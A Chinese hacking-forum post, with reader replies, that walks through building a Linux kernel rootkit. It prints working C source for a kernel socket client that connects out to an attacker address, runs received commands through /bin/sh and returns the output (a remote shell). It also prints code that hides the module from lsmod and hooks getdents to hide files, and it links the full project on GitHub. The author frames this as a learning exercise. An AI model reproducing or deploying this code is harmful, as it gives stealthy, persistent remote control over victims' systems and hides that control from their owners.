吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3057|回复: 37
上一主题 下一主题
收起左侧

[其他原创] 编写一个简单的linux kernel rootkit

  [复制链接]
跳转到指定楼层
楼主
windy_ll 发表于 2022-8-8 10:24 回帖奖励
本帖最后由 windy_ll 于 2022-8-8 10:35 编辑

一、前言

linux kernel rootkit跟普通的应用层rootkit个人感觉不大,个人感觉区别在于一个运行在用户空间中,一个运行在内核空间中;另一个则是编写时调用的API跟应用层rootkit不同  

一个最简单的linux kernel rootkit就是一个linux kernel module  

PS:如有错误,请斧正


二、环境

内核版本:5.4.0-120
攻击机:kal
靶机和编译机:ubuntu18 64位

三、linux kernel module

PS: linux kernel module编写网上资料很多,这里不在过多叙述  

1、一个linux kernel module必备的函数为module_initmodule_exit,前者为linux kernel module加载时调用的函数,后者为linux kernel module卸载时调用的函数,如下所示:  

module_init(rootkit_init);
module_exit(rootkit_exit);

2、当然,也有其他module开头的函数,例如ODULE_AUTHOR声明作者等函数,但这些都是可选的  

3、linux kernel module打印函数也跟用户态的printf函数不同,为printk函数,当然,也不会打印在终端中,通过printk打印的信息可通过dmesg命令查看  

4、一个最简单的linux kernel module如下所示,其中module_init声明了模块加载时的函数example_initmodule_exit声明了模块卸载时调用的函数函数example_exit,这个最简单的linux kernel module实现的功能就是在加载时和卸载时打印字符串  

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("windy_ll");
MODULE_DESCRIPTION("Basic Kernel Module");
MODULE_VERSION("0.01");

static int __init example_init(void)
{
    printk(KERN_INFO "Hello, world!\n");
    return 0;
}

static void __exit example_exit(void)
{
    printk(KERN_INFO "Goodbye, world!\n");
}

module_init(example_init);
module_exit(example_exit);

5、linux kernel module可通过make modules命令编译,例如本篇编译的Makefile文件如下所示:  

obj-m += rootkit.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

5、linux kernel module使用命令insmod加载,使用rmmod命令卸载,可以使用lsmod命令查看所有已经加载的linux kernel module。上面的linux kernel module运行结果如下图所示:  

1.png  

2.png  

3.png  


四、hook系统调用表

1、系统调用表(System call Table),是一张由指向实现各种系统调用的内核函数的函数指针组成的表,该表可以基于系统调用编号进行索引,来定位函数地址,完成系统调用(PS: 来自百度百科),系统调用表详细列表如下链接所示:  

https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl

2、系统调用表的hook一般可以通过以下几种方式来实现:  

  • 找到系统调用表位置,修改系统调用表中的函数地址

  • 找到系统调用表位置,修改系统调用表函数前几个字节做一个jmp,就是inlinehook,当然可以在汇编上直接替换掉系统调用表的函数二进制指令

  • 利用别人写好的框架,例如ftrace(PS:本文为了方便,即利用此方式)

    3、获取系统调用表地址一般也可以通过以下几种方式来实现  

  • 通过调用函数kallsyms_lookup_name获取(ps:高版本已经被禁用该函数)

  • 扫描内存,匹配特征码来找到系统调用表的地址

  • 读取/proc/kallsym文件来获取

  • 其他方法,不在过多介绍

    4、linux kernel rootkit中的某些功能需要通过hook系统调用表的函数来实现,例如监控命令的执行等  


五、linux kernel多线程

1、linux kernel中的多线程可使用宏定义kthread_run来创建一个内核线程,第一个参数为线程要执行的函数名,使用kthread_stop来停止  

2、一个简单的多线程示例如下所示:(PS: 这里不用导入那么多头文件,之所以使用这么多头文件,是使用了其他API)  

#include <linux/module.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/namei.h>
#include <linux/moduleparam.h>
#include <linux/sched.h>
#include <linux/fs.h>
#include <linux/uaccess.h>

static struct task_struct *test_kthread = NULL;

static int kthread_test_func(void *data)
{
        return 0;
}

static __init int kthread_test_init(void)
{
        test_kthread = kthread_run(kthread_test_func, NULL, "kthread-test");
        if (!test_kthread) {
                return -ECHILD;
        }

        return 0;
}

static __exit void kthread_test_exit(void)
{
}

module_init(kthread_test_init);
module_exit(kthread_test_exit);

六、linux kernel socket

1、linux内核中的通信和用户层面的步骤差不多,都是先创建socket、连接或监听socket、调用函数收发信息、关闭连接  

2、不同点在于调用的API不同,linux内核中调用的是sock_create_kern函数来创建socket,调用sock->ops->connect来连接服务端(PS:这里的sock是前面创建的socket连接符),调用kernel_sendmsg来发送信息,调用kernel_recvmsg来接收信息,调用kernel_sock_shutdown函数来关闭连接,调用sock_release函数来释放socket连接符,按照用户层的socket的流程来调用即可  

3、上面的api不是唯一的,linux源码中还提供了其他的函数来实现socket连接,感兴趣的可以去查阅相关的linux源码  

4、上面只写了socket客户端,不写socket服务端的原因是作者测试了好几套api在5.4的内核版本中,都运行到某个阶段内核就挂了,知道原因的大佬可以指出是什么原因  

5、测试用例如下所示:

static int myserver(void *data){

        struct socket *sock,*client_sock;
        struct sockaddr_in s_addr;
        unsigned short portnum=8888;
        int ret=0;
        char recvbuf[1024];
        char sendbuf[4096];
        char *result;
        struct msghdr recvmsg,sendmsg;
        struct kvec send_vec,recv_vec;

        //sendbuf = kmalloc(1024,GFP_KERNEL);
        if(sendbuf == NULL) {
                printk(KERN_INFO "[SockTest]: sendbuf kmalloc failed!\n");
                return -1;
        }

        //recvbuf = kmalloc(1024,GFP_KERNEL);
        if(recvbuf == NULL) {
                printk(KERN_INFO "[SockTest]: recvbuf kmalloc failed!\n");
                return -1;
        }

        memset(&s_addr,0,sizeof(s_addr));
        s_addr.sin_family=AF_INET;
        s_addr.sin_port=htons(portnum);
        s_addr.sin_addr.s_addr=in_aton("10.10.10.195");

        sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL);
        client_sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL);

        /*create a socket*/
        ret=sock_create_kern(&init_net,AF_INET, SOCK_STREAM,0,&sock);
        if(ret < 0){
                printk("[SockTest]:socket_create_kern error!\n");
                return -1;
        }
        printk("[SockTest]:socket_create_kern ok!\n");

        /*connect the socket*/
        ret=sock->ops->connect(sock,(struct sockaddr *)&s_addr,sizeof(s_addr),0);
        printk(KERN_INFO "[SockTest]: connect ret = %d\n",ret);
        /*
        if(ret != 0){
                printk("[SockTest]: connect error\n");
                return ret;
        }
        */
        printk("[SockTest]:connect ok!\n");

        memset(sendbuf,0,1024);

        strcpy(sendbuf,"test");

        memset(&sendmsg,0,sizeof(sendmsg));
        memset(&send_vec,0,sizeof(send_vec));

        send_vec.iov_base = sendbuf;
        send_vec.iov_len = 4096;        

        /*send*/
        ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,4);
        printk(KERN_INFO "[SockTest]: kernel_sendmsg ret = %d\n",ret);
        if(ret < 0) {
                printk(KERN_INFO "[SockTest]: kernel_sendmsg failed!\n");
                return ret;
        }
        printk(KERN_INFO "[SockTest]: send ok!\n");
        memset(&recv_vec,0,sizeof(recv_vec));
        memset(&recvmsg,0,sizeof(recvmsg));

        recv_vec.iov_base = recvbuf;
        recv_vec.iov_len = 1024;

        /*kmalloc a receive buffer*/
        while(true) {
                memset(recvbuf, 0, 1024);

                ret = kernel_recvmsg(sock,&recvmsg,&recv_vec,1,1024,0);
                printk(KERN_INFO "[SockTest]: received message: %s\n",recvbuf);
                if(!strcmp("exit",recvbuf)) {
                        break;
                }
                printk(KERN_INFO "[SockTest]: %ld\n",strlen(recvbuf));
                result = execcmd(recvbuf);
                memset(sendbuf,0,4096);
                strncpy(sendbuf,result,4096);
                ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,strlen(sendbuf));
        }

        kernel_sock_shutdown(sock,SHUT_RDWR);
        sock_release(sock);
        printk(KERN_INFO "[SockTest]: socket exit\n");

        return 0;
}

七、linux kernel命令执行

1、对于一个rootkit来说,最核心的功能点肯定在于能够执行命令  

2、在linux内核中,有以下几种方式可以用来执行命令:  

  • hook系统调用表,劫持命令执行函数sys_execve
  • 调用call_usermodehelper函数直接执行命令

    3、这里使用的是第二种方式来执行命令,第一种只做到了无参数命令执行,对于有参数的解析其参数时按照指针数组解析出来的不知道为啥一直是乱码,知道原因的大佬可以指教以下  

    4、无论是什么方式,都无法将命令回显结果直接写入内存直接读取,所以这里采用的是将命令结果利用>写入某个文件中,然后调用vfs_read函数读取文件获取命令回显,如下所示:  

static char* execcmd(char cmd[1024])
{
        int result;
        struct file *fp;
        mm_segment_t fs;
        loff_t pos;
        static char buf[4096];
        char add[] = " > /tmp/result.txt";
        char cmd_path[] = "bin/sh";
        strcat(cmd,add);
        char *cmd_argv[] = {cmd_path,"-c",cmd,NULL};
        char *cmd_envp[] = {"HOME=/","PATH=/sbin:/bin:/user/bin",NULL};
        result = call_usermodehelper(cmd_path,cmd_argv,cmd_envp,UMH_WAIT_PROC);
        printk(KERN_INFO "[TestKthread]: call_usermodehelper() result is %d\n",result);
        fp = filp_open("/tmp/result.txt",O_RDWR | O_CREAT,0644);
        if(IS_ERR(fp)) {
                printk(KERN_INFO "open file failed!\n");
                return 0;
        }
        memset(buf,0,sizeof(buf));
        fs = get_fs();
        set_fs(KERNEL_DS);
        pos = 0;
        vfs_read(fp,buf,sizeof(buf),&pos);
        printk(KERN_INFO "shell result %ld:\n",strlen(buf));
        printk("%s\n",buf);
        filp_close(fp,NULL);
        set_fs(fs);
        return buf;
}

八、隐藏内核模块自身

1、对于linux kernel rootkit,很重要的一点就是隐藏自己的存在,不然受害者一个lsmod就发现了  

2、通过lsmod读出来的已经加载的内核模块在内存中的表现形式为一个链表,我们可以通过添加、删除这个链表中的节点来实现对内核模块的显示和隐藏  

3、我们可以通过THIS_MODULE这个变量来访问上述的连接,幸运的是,官方提供了API 来添加和删除节点,分别为list_dellist_add函数  

4、实现该功能源码如下所示:  

void hideme(void)
{
        prev_module = THIS_MODULE->list.prev;
        list_del(&THIS_MODULE->list);
}

void showme(void)
{
        list_add(&THIS_MODULE->list,prev_module);
}

九、隐藏文件

1、由于前面的命令执行功能获取命令回显结果产生了一些文件,所以我们还要隐藏这些产生从文件来避免我们的rootkit被发现  

2、我们可以通过hook sys_getdents系统调用来实现,该系统调用有三个参数,其中第二个参数为一个指针,该指针所存储的即为一个目录的文件和目录信息,在内存中的数据结构为一个链表,通过遍历这个链表然后删除相应的节点即可达到隐藏文件的目的  

3、该链表的数据结构如下所示,其中,d_name为文件或目录的名称,d_reclen为长度,通过这两个数据,我们即可实现隐藏文件和目录的功能  

struct linux_dirent {
            unsigned long d_ino;
            unsigned long d_off;
            unsigned short d_reclen;
            char d_name[];
        };

4、该功能实现示例如下所示:  

asmlinkage int hook_getdents(const struct pt_regs *regs)
{
    struct linux_dirent {
            unsigned long d_ino;
            unsigned long d_off;
        unsigned short d_reclen;
            char d_name[];
    };
        struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si;
        struct linux_dirent *current_dir,*previous_dir,*dirent_ker = NULL;
        unsigned long offset = 0;
        long error;

        int ret = orig_getdents(regs);
        dirent_ker = kzalloc(ret, GFP_KERNEL);

        if ((ret <= 0) || (dirent_ker == NULL))
        {
                printk(KERN_DEBUG "error 1,ret is %d\n",ret);
                return ret;
        }

        error = copy_from_user(dirent_ker, dirent, ret);
        if(error)
        {
                printk(KERN_DEBUG "error 2\n");
                goto done;
        }

        while(offset < ret)
        {
                current_dir = (void *)dirent_ker + offset;
                if(check(current_dir->d_name) == 1)
                {
                        if(debug_mode == 1)
                        {
                                printk(KERN_DEBUG "rootkit: Found %s\n", current_dir->d_name);
                        }
                        if(current_dir == dirent_ker)
                        {
                                ret -= current_dir->d_reclen;
                                memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
                                continue;
                        }
                        previous_dir->d_reclen += current_dir->d_reclen;
                }
                else
                {
                        previous_dir = current_dir;
                }
                offset += current_dir->d_reclen;
        }

        error = copy_to_user(dirent, dirent_ker, ret);
        if(error)
        {
                printk(KERN_DEBUG "error 3\n");
                goto done;
        }

done:
        kfree(dirent_ker);
        return ret;
}

十、ftrace使用方法

1、导入头文件ftrace_helper.h  

2、定义一个ftrace_hook hooks结构体数组,如下所示:  

static struct ftrace_hook hooks[] = {
        HOOK("sys_mkdir",hook_mkdir,&orig_mkdir),
};

调用fh_install_hooks函数挂钩,调用fh_remove_hooks函数解挂即可


十一、其他

1、在linux kernel 4.17之后,系统调用函数的参数全部存储在pt_reg结构体中,要实际访问到其参数,需要去读取该结构体  

2、由于rootkit运行在内核空间中,要访问用户空间的数据,需要使用strncpy_from_user等函数将用户空间的变量拷贝到内核空间中  

3、要申请内核空间,不能使用malloc,而是要使用kmalloc等函数来申请  


十二、linux kernel rootkit使用截图

1、命令执行  

4.png  

2、隐藏内核模块  

5.png  

6.png  

7.png  

3、隐藏文件  

8.png  

9.png  

10.png  


十三、github以及参考连接

1、github链接:  

https://github.com/windy-purple/linux_kernel_rootkit

2、参考链接:  

https://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/  

https://memset.wordpress.com/2011/03/18/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x-2/  

https://stackoverflow.com/questions/39502198/finding-the-sys-call-table-in-memory-64-bit-on-4-x-x-kernel  

https://xcellerator.github.io/posts/linux_rootkits_01/  

https://syscalls64.paolostivanin.com/  

https://github.com/vkobel/linux-syscall-hook-rootkit  

https://blog.csdn.net/yeshennet/article/details/82315604  

https://www.anquanke.com/post/id/241090  

https://www.codeleading.com/article/24384639787/  

https://www.cnblogs.com/embedded-linux/p/7439984.html  

https://stackoverflow.com/questions/58821458/error-passing-argument-1-of-kthread-create-on-node-from-incompatible-pointer  

https://blog.csdn.net/qq_30624591/article/details/109685620  

https://github.com/abysamross/simple-linux-kernel-tcp-client-server  

https://github.com/croemheld/lkm-rootkit  

https://gist.github.com/llj098/752417  

https://blog.csdn.net/miaohongyu1/article/details/16986053  

https://www.ichenfu.com/2017/01/16/kernel-sock-client-example/  

https://blog.csdn.net/whshiyun/article/details/82013181  

https://developer.aliyun.com/article/459022  

https://blog.csdn.net/whatday/article/details/98448435

免费评分

参与人数 16吾爱币 +20 热心值 +14 收起 理由
wuxiuxin + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
初七的果子狸 + 1 + 1 受益良多,感谢师傅的分享
blworld + 1 用心讨论,共获提升!
哥哥的肥皂 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
学习使我快乐1 + 1 + 1 我很赞同!
gaosld + 1 + 1 用心讨论,共获提升!
theStyx + 2 + 1 我很赞同!
fengbu401 + 1 + 1 我很赞同!
笙若 + 1 + 1 谢谢@Thanks!
pilot34 + 1 用心讨论,共获提升!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
努力加载中 + 1 + 1 热心回复!
luliucheng + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
小朋友呢 + 2 + 1 谢谢@Thanks!
woshuoxiang + 1 + 1 我很赞同!
天空宫阙 + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

来自 7#
 楼主| windy_ll 发表于 2022-8-8 14:47 |楼主


由于图片放在github上在,可能不好访问,所以上传到评论区

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
yixi + 1 + 1 谢谢@Thanks!

查看全部评分

推荐
初七的果子狸 发表于 2022-9-26 17:00
windy_ll 发表于 2022-8-8 14:47
由于图片放在github上在,可能不好访问,所以上传到评论区

师傅,你第三张图用的哪个命令看的啊。就是那个输出了hello world的
沙发
MorN 发表于 2022-8-8 12:39
3#
JuncoJet 发表于 2022-8-8 13:13
图片外链加载不了      
4#
 楼主| windy_ll 发表于 2022-8-8 13:57 |楼主
JuncoJet 发表于 2022-8-8 13:13
图片外链加载不了

挂梯子没问题,可能是国内加速挂了
5#
lk747 发表于 2022-8-8 14:09
good job
6#
hjw01 发表于 2022-8-8 14:14
你已经进化到内核啦, 之前还是逆向入门的帖子
8#
hou20011122 发表于 2022-8-8 14:57
谢谢大佬
9#
thysut 发表于 2022-8-8 17:55
感谢分享,学习了
10#
lztym 发表于 2022-8-8 21:50
感谢分享!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2022-10-6 15:04

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表